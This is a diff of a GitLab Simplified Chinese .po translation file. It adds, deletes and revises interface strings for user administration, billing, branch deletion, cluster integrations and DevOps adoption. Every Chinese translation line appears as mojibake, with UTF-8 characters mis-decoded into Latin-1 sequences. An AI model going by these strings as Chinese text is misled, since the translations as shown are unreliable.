msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2598,6 +2653,9 @@ msgstr "您å³å°†æ°¸ä¹…删除用户 %{username}。该用户的议题ã€åˆå¹¶è¯·
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr "您å³å°†æ°¸ä¹…删除用户 %{username}。此æ“作会删除该用户的所有议题ã€åˆå¹¶è¯·æ±‚以åŠç›¸å…³çš„群组。为é¿å…æ•°æ®ä¸¢å¤±ï¼Œå»ºè®®æ‚¨ä½¿ç”¨ %{strongStart}ç¦ç”¨ç”¨æˆ·%{strongEnd} 功能。一旦您 %{strongStart}删除用户%{strongEnd},将无法撤消或æ¢å¤ã€‚"
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr "如果需è¦ï¼Œæ‚¨éšæ—¶å¯ä»¥ç¦ç”¨ä»–们的å¸æˆ·ã€‚"
@@ -2610,6 +2668,9 @@ msgstr "您å¯ä»¥éšæ—¶é‡æ–°æ¿€æ´»ä»–们的å¸æˆ·ï¼Œä»–们的数æ®å°†ä¿æŒä¸
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr "您å¯ä»¥éšæ—¶è§£é™¤å±è”½ä»–们的å¸æˆ·ï¼Œä»–们的数æ®å°†ä¿æŒä¸å˜ã€‚"
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr "您ä¸èƒ½åˆ é™¤æ‚¨è‡ªå·±çš„管ç†å‘˜æƒé™ã€‚"
@@ -2655,9 +2716,6 @@ msgstr "高级"
msgid "Advanced Search"
msgstr "高级æœç´¢"
-msgid "Advanced Search with Elasticsearch"
-msgstr "使用Elasticsearch进行高级æœç´¢"
-
msgid "Advanced Settings"
msgstr "高级设置"
@@ -2695,9 +2753,6 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] "警报"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr "已确认"
@@ -3067,9 +3122,6 @@ msgstr "所有环境"
msgid "All epics"
msgstr "所有å²è¯—"
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "从模æ¿æˆ–导入时为空白项目将å¯ç”¨æ‰€æœ‰åŠŸèƒ½ï¼Œä½†å¯ä»¥åœ¨é¡¹ç›®è®¾ç½®ä¸­å°†å…¶ç¦ç”¨ã€‚"
-
msgid "All groups and projects"
msgstr "所有群组和项目"
@@ -3172,6 +3224,9 @@ msgstr "å·²å…许"
msgid "Allowed Geo IP"
msgstr "å…许的Geo IP"
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "å…许使用电å­é‚®ä»¶åŸŸåé™åˆ¶ä»…å¯ç”¨äºŽé¡¶çº§ç¾¤ç»„"
@@ -3385,6 +3440,9 @@ msgstr "获å–标记颜色时出错。"
msgid "An error occurred while fetching markdown preview"
msgstr "èŽ·å– markdown 预览时出错"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3478,9 +3536,6 @@ msgstr "加载议题时å‘生错误。"
msgid "An error occurred while loading merge requests."
msgstr "加载åˆå¹¶è¯·æ±‚æ—¶å‘生错误。"
-msgid "An error occurred while loading project creation UI"
-msgstr "加载项目创建界é¢æ—¶å‘生错误"
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3550,8 +3605,8 @@ msgstr "在渲染编辑器时出错"
msgid "An error occurred while reordering issues."
msgstr "é‡æ–°æŽ’åºè®®é¢˜æ—¶å‘生错误。"
-msgid "An error occurred while requesting data from the Jira service"
-msgstr "从JiraæœåŠ¡è¯·æ±‚æ•°æ®æ—¶å‡ºé”™"
+msgid "An error occurred while requesting data from the Jira service."
+msgstr ""
msgid "An error occurred while retrieving calendar activity"
msgstr "获å–日历动æ€æ—¶å‘生错误"
@@ -4019,6 +4074,9 @@ msgstr "审批人"
msgid "Approvers"
msgstr "核准人"
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "4月"
@@ -4049,16 +4107,13 @@ msgstr "已归档(%{movedToStart}已移动%{movedToEnd})"
msgid "Archived in this version"
msgstr "已在此版本中归档"
-msgid "Archived project! Repository and other project resources are read only"
-msgstr "已归档项目ï¼ä»“库和其他项目资æºå‡ä¸ºåªè¯»"
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "已归档项目ï¼ä»“库和其他项目资æºå‡ä¸ºåªè¯»"
msgid "Archived projects"
msgstr "归档项目"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4634,7 +4689,7 @@ msgstr "使用Let's Encrypt自动管ç†è¯ä¹¦"
msgid "Automatic deployment rollbacks"
msgstr "自动部署回滚"
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4703,6 +4758,9 @@ msgstr "背景é¡è‰²"
msgid "Background Jobs"
msgstr "åŽå°ä»»åŠ¡"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "背景颜色"
@@ -4848,7 +4906,7 @@ msgid "Bi-weekly code coverage"
msgstr "åŒå‘¨ä»£ç è¦†ç›–率"
msgid "Billable Users"
-msgstr ""
+msgstr "计费用户"
msgid "Billing"
msgstr "计费"
@@ -4859,6 +4917,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr "æ­å–œï¼Œæ‚¨çš„试用计划已å¯ç”¨ã€‚"
@@ -4877,6 +4938,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr "通过阅读我们的 %{pricing_page_link} 了解有关æ¯ä¸ªè®¡åˆ’的更多信æ¯ã€‚"
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "管ç†è®¡åˆ’"
@@ -4892,6 +4956,9 @@ msgstr "使用与其父项目一致的计划"
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "访问%{parent_billing_page_link}的计费部分以管ç†è¯¥é¡¹ç›®çš„订阅计划。"
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -4910,6 +4977,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "常è§é—®é¢˜"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "æ¯æœˆ"
@@ -4925,6 +4995,27 @@ msgstr "å‡çº§"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -4937,6 +5028,9 @@ msgstr "加载收费æˆå‘˜åˆ—表时å‘生错误"
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -4946,6 +5040,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr "无用户å¯æ˜¾ç¤ºã€‚"
@@ -5171,6 +5271,9 @@ msgstr "活跃分支"
msgid "Branches|All"
msgstr "全部"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "ä¸èƒ½æ‰¾åˆ°è¿™ä¸ªåˆ†æ”¯çš„ HEAD æ交"
@@ -5183,6 +5286,9 @@ msgstr "删除所有已åˆå¹¶åˆ° %{default_branch} 的分支。"
msgid "Branches|Delete branch"
msgstr "删除分支"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "删除已åˆå¹¶çš„分支"
@@ -5192,6 +5298,12 @@ msgstr "删除å—ä¿æŠ¤çš„分支"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "确认删除å—ä¿æŠ¤çš„分支 '%{branch_name}'?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "删除 â€%{branch_name}†åŽå°†æ— æ³•æ¢å¤ï¼Œæ‚¨ç¡®å®šï¼Ÿ"
@@ -5213,12 +5325,18 @@ msgstr "找ä¸åˆ°åˆ†æ”¯"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "确认执行 %{delete_protected_branch} åŽå°†æ— æ³•æ’¤é”€æˆ–æ¢å¤ã€‚"
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "åªæœ‰é¡¹ç›®ç»´æŠ¤è€…或所有者æ‰èƒ½åˆ é™¤å—ä¿æŠ¤çš„分支"
msgid "Branches|Overview"
msgstr "概览"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "在 %{project_settings_link} 中管ç†å—ä¿æŠ¤çš„分支。"
@@ -5252,6 +5370,9 @@ msgstr "分支无法自动æ交,因为与上游分支冲çªã€‚"
msgid "Branches|The default branch cannot be deleted"
msgstr "无法删除默认分支"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "此分支尚未åˆå¹¶åˆ° %{default_branch}。"
@@ -5264,6 +5385,18 @@ msgstr "请输入 %{branch_name_confirmation} æ¥ç¡®è®¤ï¼š"
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "è¦æ”¾å¼ƒæœ¬åœ°æ›´æ”¹å¹¶è¦†ç›–上游版本的分支,请在此处将其删除,然åŽé€‰æ‹©ä¸Šé¢çš„“立å³æ›´æ–°â€ã€‚"
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "å°†è¦æ°¸ä¹…删除å—ä¿æŠ¤çš„ %{branch_name} 分支。"
@@ -5333,6 +5466,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5345,9 +5481,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5385,10 +5527,10 @@ msgid "BurndownChartLabel|Open issues"
msgstr "未解决议题"
msgid "Burnup chart"
-msgstr "燃耗图"
+msgstr "燃起图"
msgid "Burnup chart could not be generated due to too many events"
-msgstr "事件太多,无法生æˆç‡ƒè€—图。"
+msgstr "事件太多,无法生æˆç‡ƒèµ·å›¾ã€‚"
msgid "Business"
msgstr "商业"
@@ -5414,9 +5556,6 @@ msgstr "ç”± %{user_name}"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr "å•å‡»æ³¨å†Œå³ä»£è¡¨æˆ‘åŒæ„我已ç»é˜…读并接å—%{company_name}%{linkStart}使用æ¡æ¬¾å’Œéšç§æ”¿ç­–%{linkEnd}"
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "默认情况下,GitLab 以 HTML 和纯文本格å¼å‘é€ç”µå­é‚®ä»¶ï¼Œå› æ­¤é‚®ä»¶å®¢æˆ·ç«¯å¯ä»¥é€‰æ‹©ä½¿ç”¨å“ªç§æ ¼å¼ã€‚如果您åªæƒ³ä»¥çº¯æ–‡æœ¬æ ¼å¼å‘é€ç”µå­é‚®ä»¶ï¼Œè¯·ç¦ç”¨æ­¤é€‰é¡¹ã€‚"
@@ -5465,15 +5604,15 @@ msgstr "CI/CD é…ç½®"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "为外部仓库设置的CI/CD"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5481,6 +5620,9 @@ msgid "CICDAnalytics|Release"
msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6174,8 +6316,8 @@ msgstr "中文支æŒä½¿ç”¨"
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "选择分支/标签(例如%{master})或输入æ交(例如%{sha})以查看更改内容或创建åˆå¹¶è¯·æ±‚。"
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "选择一个文件"
@@ -6558,72 +6700,6 @@ msgstr "关闭此%{quick_action_target}."
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr "集群"
@@ -6786,6 +6862,12 @@ msgstr "å…许GitLab管ç†æ­¤ç¾¤é›†çš„命å空间和æœåŠ¡è´¦æˆ·ã€‚%{linkStart}
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr "å…许GitLab管ç†æ­¤é›†ç¾¤çš„命å空间和æœåŠ¡è´¦æˆ·ã€‚"
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr "此外,"
@@ -6828,12 +6910,6 @@ msgstr "身份验è¯é”™è¯¯"
msgid "ClusterIntegration|Base domain"
msgstr "基础域"
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr "阻止模å¼"
-
msgid "ClusterIntegration|CA Certificate"
msgstr "CAè¯ä¹¦"
@@ -6996,6 +7072,9 @@ msgstr "Elastic Stack"
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr "为Anthoså¯ç”¨Cloud Run"
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7080,9 +7159,6 @@ msgstr "GitLab无法连接到集群。"
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr "GitLab管ç†çš„集群"
-msgid "ClusterIntegration|Global default"
-msgstr "全局默认值"
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Google 云平å°é¡¹ç›®"
@@ -7143,7 +7219,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7239,9 +7315,6 @@ msgstr "加载å­ç½‘"
msgid "ClusterIntegration|Loading subnetworks"
msgstr "加载å­ç½‘"
-msgid "ClusterIntegration|Logging mode"
-msgstr "记录模å¼"
-
msgid "ClusterIntegration|Machine type"
msgstr "机器类型"
@@ -7254,9 +7327,6 @@ msgstr "请确ä¿æ‚¨çš„å¸æˆ·%{link_to_requirements}å¯ä»¥åˆ›å»º Kubernetes 集ç
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr "通过访问%{provider_link}管ç†Kubernetes群集"
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr "按环境分é…命å空间"
@@ -7353,9 +7423,6 @@ msgstr "请查阅关于Kubernetes集群集æˆçš„%{linkStart}帮助页é¢%{linkEn
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr "请查阅关于Kubernetes集群集æˆçš„%{link_start}帮助页é¢%{link_end}。"
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr "实时Web应用程åºç›‘视,日志记录和访问控制。 %{linkStart}更多信æ¯%{linkEnd}"
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "删除Kubernetes集群集æˆ"
@@ -7494,9 +7561,6 @@ msgstr "按地域选择实例类型"
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr "å‘é€å®¹å™¨ç½‘络策略日志"
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr "å‘é€Web应用程åºé˜²ç«å¢™æ—¥å¿—"
-
msgid "ClusterIntegration|Service Token"
msgstr "æœåŠ¡ä»¤ç‰Œ"
@@ -7509,9 +7573,6 @@ msgstr "æœåŠ¡ä»¤ç‰Œæ˜¯å¿…需的。"
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr "设置å称空间的å‰ç¼€ã€‚如未设置,则默认为项目路径。如进行了修改,则现有环境ä»å°†ä½¿ç”¨å…¶å½“å‰çš„å称空间,直到清除群集缓存。"
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr "设置此集群中WAF的全局模å¼ã€‚在环境级别å¯ä»¥è¦†ç›–此设置。"
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "å‘生了内部错误"
@@ -7785,6 +7846,15 @@ msgstr "找ä¸åˆ°å¼•ç”¨"
msgid "CodeOwner|Pattern"
msgstr "模å¼"
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr "éžæ´»è·ƒç”¨æˆ·"
@@ -7927,6 +7997,9 @@ msgstr "æ交"
msgid "CommitMessage|Add %{file_name}"
msgstr "添加 %{file_name}"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "编辑于"
@@ -8065,9 +8138,6 @@ msgstr "åˆè§„仪表æ¿"
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr "åˆè§„框架(å¯é€‰)"
@@ -8188,6 +8258,9 @@ msgstr "ç§å¯†æ€§"
msgid "Configuration"
msgstr "é…ç½®"
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "é…ç½® GitLab Runner 以开始使用Web终端。 %{helpStart}了解更多。%{helpEnd}"
@@ -8251,6 +8324,9 @@ msgstr "é…ç½®è¦ä¿æŠ¤æœºæž¶æ”»å‡»çš„路径。"
msgid "Configure repository mirroring."
msgstr "é…置仓库镜åƒã€‚"
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8406,6 +8482,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr "%{title}å·²æˆåŠŸå®‰æŽ’删除"
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr "构建镜åƒ"
@@ -9085,9 +9164,6 @@ msgstr "创建新域"
msgid "Create Project"
msgstr "创建项目"
-msgid "Create Value Stream"
-msgstr "创建价值æµ"
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr "请先创建一个GitLabå¸æˆ·ï¼Œç„¶åŽå°†å…¶è¿žæŽ¥åˆ°æ‚¨çš„ %{label} å¸æˆ·ã€‚"
@@ -9118,9 +9194,6 @@ msgstr "创建一个新仓库"
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "在å¸æˆ·ä¸Šåˆ›å»ºä¸ªäººè®¿é—®ä»¤ç‰Œï¼Œä»¥é€šè¿‡ %{protocol} æ¥æ‹‰å–或推é€ã€‚"
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr "创建一个预置了必è¦æ–‡ä»¶çš„项目方便您快速å¯åŠ¨ã€‚"
-
msgid "Create an account using:"
msgstr "使用以下方å¼åˆ›å»ºå¸æˆ·ï¼š"
@@ -9172,6 +9245,9 @@ msgstr "创建群组"
msgid "Create group label"
msgstr "创建群组标记"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr "创建议题"
@@ -9223,6 +9299,9 @@ msgstr "创建新文件或目录"
msgid "Create new label"
msgstr "创建新标记"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "创建..."
@@ -9256,6 +9335,9 @@ msgstr "创建您的第一个页é¢"
msgid "Create your group"
msgstr "创建您的群组"
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr "创建/导入您的第一个项目"
@@ -9583,27 +9665,6 @@ msgstr "自定义范围"
msgid "Custom range (UTC)"
msgstr "自定义范围 (UTC)"
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr "添加新阶段"
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr "添加新阶段"
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr "编辑阶段"
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr "新阶段"
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr "阶段å称已存在"
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr "开始事件标记"
-
msgid "Customer Portal"
msgstr "客户中心"
@@ -9822,9 +9883,15 @@ msgstr "阶段下拉列表"
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "DAGå¯è§†åŒ–至少需è¦3个ä¾èµ–作业。"
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10044,9 +10111,6 @@ msgstr "密ç "
msgid "DastProfiles|Password form field"
msgstr "密ç è¡¨å•å­—段"
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr "请输入有效的超时值"
-
msgid "DastProfiles|Profile name"
msgstr "é…ç½®å称"
@@ -10411,6 +10475,9 @@ msgstr "删除%{name}"
msgid "Delete Comment"
msgstr "删除评论"
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr "删除值æµ"
@@ -11120,22 +11187,28 @@ msgstr "核准"
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|Code owners"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11144,6 +11217,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr "部署"
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11171,6 +11247,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
